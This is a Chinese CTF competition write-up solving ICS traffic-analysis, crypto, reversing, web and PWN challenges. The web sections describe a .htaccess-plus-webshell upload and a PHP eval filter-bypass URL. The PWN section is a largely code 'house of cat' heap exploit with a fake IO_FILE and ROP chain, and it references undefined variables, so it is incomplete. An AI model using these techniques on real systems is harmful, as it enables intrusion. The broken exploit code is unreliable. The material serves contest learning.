队伍信息
队伍名称:NYNUSEC
解题情况
共解出13
题,其中:ICS 6
题,WEB2
题,Re3
题,Crypto1
题,PWN1
题
最终排名
学生组第三名
[]()
注:以下所有内容为比赛题目答案及解析,不涉及其他方面,仅做解题方法分享
ICS
HNGK-流量分析
打开过滤mms
,然后直接搜索flag
发现有个列目录的返回结果。
再往下找有个fileOpen
的操作。
继续往后找也是上面这俩个操作,那么就过滤一下fileOpen
的操作去拿打开后的标识符然后看看用哪了。
有4次打开操作。
那就过滤出这几个的返回包,拿到标识符。
不过有个返回包没解析出来,先不管,看看能不能用过滤出来的三个标识符找到其fileFead
操作。
成功找到,那就看看这个请求的响应是什么。
结果没过滤出来东西。
猜测是wireshark
没解析成功,那就去掉过滤看看下一个包是什么,这个流量包里的请求和响应都是挨在一起的。
似乎是因为长度没解析对。
反正看见base64
格式的图片了,先提取出来。
发现图片内容就是flag。
flag{ICS-mms104}
HNGK-MMS
拿到流量包后发现打不开,扔到010
发现其实是个压缩包,于是再解压一次。
遍历一遍mms
,发现有两条请求的item
比较奇怪。
而66
正好是f
的ascii。
所以猜测可能是有位移,但是十六进制的字母必然不可能有ij
这种东西,所以猜测可能是先把字母往小移,但是不知道具体偏移是多少,那就一个一个试过去,然后移完之后解一下hex看看能出来啥。
先从偏移为4
开始,因为至少要4
才能让ij
移到ef
这种合理的hex。
import string
flag = bytearray(b"666i5250356j4249"b"616732557968356j")
for i in range(len(flag)):
if flag[i] in string.ascii_lowercase.encode():
flag[i] -= 4
print(flag)
print(bytes.fromhex(flag.decode()))
但是好像没啥规律,继续尝试到偏移为6
的时候发现fl
和ag
。
尝试将前后半段每两字节拼接,得到flagRP2U5myhBI5m
,拼上括号提交发现正确。
flag{RP2U5myhBI5m}
HNGK-modbus
这题筛选modbus
之后发现function
是有规律循环的:17, 109, 65, 1, 1, 3, 3, 67
。
于是尝试提取发送方所有的func_code
和帧id,然后跑一轮看看有没有多了或者少了的。
tshark -r .\modbus.pcap -Y "modbus && ip.src==172.31.14.123" -T fields -e "frame.number" -T fields -e "modbus.func_code" > data.txt
发现1648
帧多了个1
。
data = []
with open("data.txt", 'r') as f:
for line in f:
data.append(line.strip().split('\t'))
base = ['17', '109', '65', '1', '1', '3', '3', '67']
p = 0
for i in data:
if i[1] != base[p % len(base)]:
print(i)
p += 1
过去看了下发现确实是多了个1
,不过上下对比一下发现实际上多出来的是1642
数据包,因为这个1541
在其他地方没出现过。
而1642
数据包在提取结果里是539
条,直接忽略这条再跑一遍看看还有没有异常的。
data = []
with open("data.txt", 'r') as f:
for line in f:
data.append(line.strip().split('\t'))
base = ['17', '109', '65', '1', '1', '3', '3', '67']
p = 0
for i in data:
if p == 539:
continue
if i[1] != base[p % len(base)]:
print(i)
p += 1
直接跑完没有异常。
尝试提交flag{1642}
或者flag{1642+1643}
但是都不对。
于是怀疑可能数据包异常点不是func
而是其内容。
那么只能挨个func
的数据筛选过去看看有没有异常了。
先把17
给发送和返回过滤一遍:(modbus.func_code == 17) && !(!modbus.data) && !(modbus.data == 06:00:00)
。
发现没有异常的,那就再看109
的:((modbus.func_code == 109) && !(modbus.data == 54)) && !(modbus.data == 00)
。
发现也没有,再看65
的:((modbus.func_code == 65) && !(modbus.data == a8:b9:09:00:0c:01:06:02:06:03:06:04:06:05:06:06:06:07:06:00:06)) && !(modbus.data == 02:fe:00)
。
还是没有,再看1
的:((((modbus.func_code == 1) && !(modbus.reference_num == 0)) && !(modbus.reference_num == 1536)) && !(frame[63] == 00)) && !(frame[63] == fe)
。
发现两对数据包有异常,比之前找的多了一对,所以实际上异常是多了一个和改了一个。
尝试提交flag{1642+5485}
,发现正确。
flag{1642+5485}
HNGK-奇怪的工控协议
看了下协议分布,最主要的modbus
,不过iec60870_104
和iec60870_asdu
也不算少。
在modbus
里面翻了半天也没看到啥有用的东西,然后去iec60870_104
翻了下直接发现了flag。
flag{sort__104}
HNGK-Modbus流量分析
对长度排序,发现第最小的是63
,而且只出现了一次
于是追踪tcp
流,得到flag
flag{TheModbusProtocolIsFunny!}
HNGK-加密文件分析
解压出来一个加密压缩包和一个PCZ
文件,根据题目描述,要从PCZ
里找到压缩包的解压密码。
于是用力控恢复备份文件,在节点配置
中,找到10101739
所以... 我为什么不直接爆破? 不到1秒就出来了,血亏。
接着将BB1.PCZ
恢复到力控中,在标签处发现flag
flag{fjsdkalg}
Crypto
HNGK-HardRSA
这题刚开始打算爆破e
然后用e, d, n
去求p, q
,但发现好像不太行。
然后去factordb
看了下,发现n
居然能直接分解。
所以直接求flag
就完事。
from hashlib import md5
p=8134764250316914977240939055123307507750874306113160101218096577677584025654326282630936230074917597921184142227850055873398652706587349895667411302286629
q=9258376341398185999350718486678388748086924961707902231684477676159974982924771328403762590710189676719483651720152226906035715671461950810512232162187317
print "Flag: flag{%s}" %md5(str(p + q)).hexdigest()
flag{77d93d7406e76acbd8fc571296beba37}
Reverse
HNGK-cool
拿到个exe
,看图标是pyinstaller
打包的。
直接python pyinstxtractor.py cool.exe
走一波提取pyc
。
打开cool
发现文件头缺了一部分,属于是正常情况。
但是去struct
看了下发现也缺了。
于是去看看PYZ-00.pyz_extracted
文件夹里的pyc
,发现还是缺了4字节,因为0xe3
应该在0x10
位置才对。
然后随便翻了翻,在base_library.zip
里面发现了一堆pyc
。
这里面文件头的确实是完整的。
于是给cool
补上文件头。
重命名成cool.pyc
,然后去在线解pyc
。
感觉缩进不是很对,而且也没有输出啥的,感觉是解的不太对,不过大致逻辑有了,也不复杂,直接写个逆向脚本。
import base64
with open("密文.txt", 'rb') as f:
y = bytearray(f.read())
for i in range(len(y)):
if i % 2 == 0:
y[i] = y[i] ^ 34
continue
if i % 3 == 0:
y[i] = y[i] ^ 51
continue
if i % 5 == 0:
y[i] = y[i] ^ 85
continue
print(base64.b64decode(y[::-1]))
直接得到flag。
flag{Pyth0n_is_c001}
HNGK-funning
这题拿到之后发现打不开也没法反编译,结合题目描述猜测是文件头被改了。
幸好作者还给了dll
,拿这个去对比两个=文件头就知道啥情况了。
发现0x3c
位置不一样,于是也改成0x80
,发现可以正常打开,但是反编译结果感觉像是有壳。
查壳发现是UPX
尝试直接脱壳失败,猜测是特征被改过。
全局找了下UPX
,发现有个被改成了FUX
。
改回来重新脱壳,成功。
反编译发现就是enc_dec
里面生成完密钥然后直接加密,加密完再在外面来一轮前后异或,最后直接对比加密结果是否预期。
然后enc_dec
对数据的操作只有自身异或,所以可以直接把预期加密结果先解了外面那个前后异或,再直接动态调试替换数据,应该就能拿到明文。
a = bytearray.fromhex("2f130a833b03fc15ea15d94748a5ba8b4c8bdefffe2290049d0634")
for i in range(24, -3, -3):
a[i] ^= a[i+1] ^ a[i+2]
print(a.hex())
所以enc_dec
的预期结果应该是36130abb3b030315ea8bd94757a5ba4c4c8bdffffeb69004af0634
。
直接动调断到输入完成,把输入内容改成上面的预期结果。
然后在enc_dec
调用完成的地方下个断,直接运行到这就能拿到flag。
flag{the_rc4_is_funning!!!}
HNGK-guess
这题反编译完的逻辑好像有点问题,不过不太复杂,encode
就是标准的base64
加密,过程的话应该是先小写转大写,然后全部偏移-63
,base64
完应该就是那一串字符了。所以直接写个逆向脚本按猜测的逻辑来试试。
b = "Bw0CCDwKByAa8RYgCBYGFBQgAg8FIBUTGj4="
import base64
b = bytearray(base64.b64decode(b))
for i in range(len(b)):
b[i] = 0xff & (b[i]+63)
if 0x61-0x20 <= b[i] <= 0x7a-0x20:
b[i] += 0x20
print(b)
直接得到flag。
flag{if_y0u_guess_and_try}
Web
HNGK-onepiece
打开题目是文件上传,FUZZ
文件后缀名后,发现.htaccess
文件可以上传,于是构造.htaccess
上传
接着传图片马
用蚁剑连接在跟目录找到start.sh
连接数据库,找到flag
flag{1ggte1biuuadve028ac0qkutqtqsvfl4}
HNGK-blik
访问主页看到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blik = [' ','\'','\]','\$','\t','"','~','\[','\r','\\','\r','\n','\^','flag','/'];
foreach ($blik as $black) {
if (preg_match('/' . $black . '/im' , $str)) {
die("no");
}
}
eval('echo' .$str.';');
}
?>
搜索到原题链接https://blog.csdn.net/weixin_52116519/article/details/124212036
构造exphttp://47.92.207.120:24363/? num=1;var_dump(scandir(chr(47).chr(118).chr(97).chr(114).chr(47).chr(119).chr(119).chr(119).chr(47).chr(104).chr(116).chr(109).chr(108)));
flag{1ggtcn8ja3v1uc028ac0qkutqjqsvfkq}
PWN
HNGK-easyheap
本题使用了house of cat攻击
使用了摘自互联网的假io模板
本题使用house of cat
手法打IO_FILE
源程序调用了exit函数,而且可以修改任意地址,符合了house of heap 的利用条件
并且沙箱又让house of emma 等常规方法不可用,所以只能通过先修改stderr来伪造fake io结构体再通过malloc触发攻击
https://bbs.pediy.com/thread-273895.htm
from pwn import *
def add(size,payload=b'\x00'):
io.sendlineafter("choice: ","1")
io.sendlineafter("size: ",size)
io.sendafter("content: ",payload)
def edit(e,payload):
io.sendlineafter("choice: ","2")
io.sendlineafter("index: ",e)
io.sendafter("content: ",payload)
def delete(e):
io.sendlineafter("choice: ","3")
io.sendlineafter("index: ",e)
def show(e):
io.sendlineafter("choice: ","4")
io.sendlineafter("index: ",e)
io.recvuntil("is: ")
tmp_addr = int(io.recvuntil('\n')[:-1],16)
return tmp_addr
def decode(x):
a = x & 0xffff
b = (x & 0xffff0000) / (2 ^ 16)
c = (x & 0xffff00000000) / (2 ^ 32)
d = (x & 0xffff000000000000) / (2 ^ 48)
if a == 0x44:
a = 0
else:
a = a ^ 0x44
if a == 0:
b = b ^ 0x33
else:
b = b ^ a ^ 0x33
if b == 0:
c = c ^ 0x22
else:
c = c ^ b ^ 0x22
if c == 0:
d = d ^ 0x11
else:
d = d ^ c ^ 0x11
return (a * 0x1000000000000) + (b * 0x100000000) + (c * 0x10000) + d
p = make_packer(64)
io = remote('47.92.207.120','25457')
elf = ELF('./easyheap')
libc = elf.libc
free_got = elf.got['free']
bss_heap = 0x404180
edit_func = 0x404090
free_func = 0x404098
ret_addr = 0x401704
stderr = 0x4040e0
ex = lambda : io.sendlineafter("choice: ","5")
one = [0xe3afe,0xe3b01,0xe3b04]
add("0x18")
add("0x18")
add("0x18")
add("0x18",b'flag\x00\x00\x00\x00')
delete(0)
delete(1)
edit(1,p(bss_heap))
add("0x18")
add("0x18",p(free_got)+p(edit_func-0x8)+p(free_got-0x8)) # 5
edit("1",p(0xffff)*3)
free_addr = decode(show(0))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
puts_addr = libc_base + libc.sym['puts']
io_list_all = libc_base + libc.sym['_IO_list_all']
pointer = libc_base + 0x1F3570
setcontext = libc_base + libc.sym['setcontext']
pop_rdi_ret = libc_base + 0x023b6a
pop_rsi_ret = libc_base + 0x02601f
pop_rdx_ret = libc_base + 0x142c92
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
_IO_wfile_jumps = libc_base+libc.sym._IO_wfile_jumps
_IO_2_1_stderr_ = libc_base+libc.sym._IO_2_1_stderr_
edit(5,p(stderr)+p(pointer)+p(bss_heap+0x18))
heap_base = decode(show(2))-0x300
edit(0,p(heap_base+0x310))
pointer_context = decode(show(1))
heapaddr = heap_base
next_chain = 0
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
flagaddr = heapaddr + 0x300
payload1 = fake_IO_FILE + p(flagaddr) + p(0) + p(0) * 5 + p(heapaddr+0x530) + p(ret_addr)
payload2 = p(pop_rdi_ret)+p(flagaddr)+p(pop_rsi_ret)+p(0)+p(o) + p(pop_rdi_ret)+p(3)+p(pop_rsi_ret)+p(bss_heap+0x200)+p(pop_rdx_ret)+p(0x100)+p(rr) + p(pop_rdi_ret)+p(1)+p(pop_rsi_ret)+p(bss_heap+0x200)+p(pop_rdx_ret)+p(0x100)+p(w)
add(0x200,payload1)
add(0x100,payload2)
edit(5,p(heap_base+0x630)*3)
edit(0,p(0)+p(0x13))
io.sendlineafter("Please input your choice: \n","1")
io.sendlineafter("Please input chunk size: ","0x50")
io.interactive()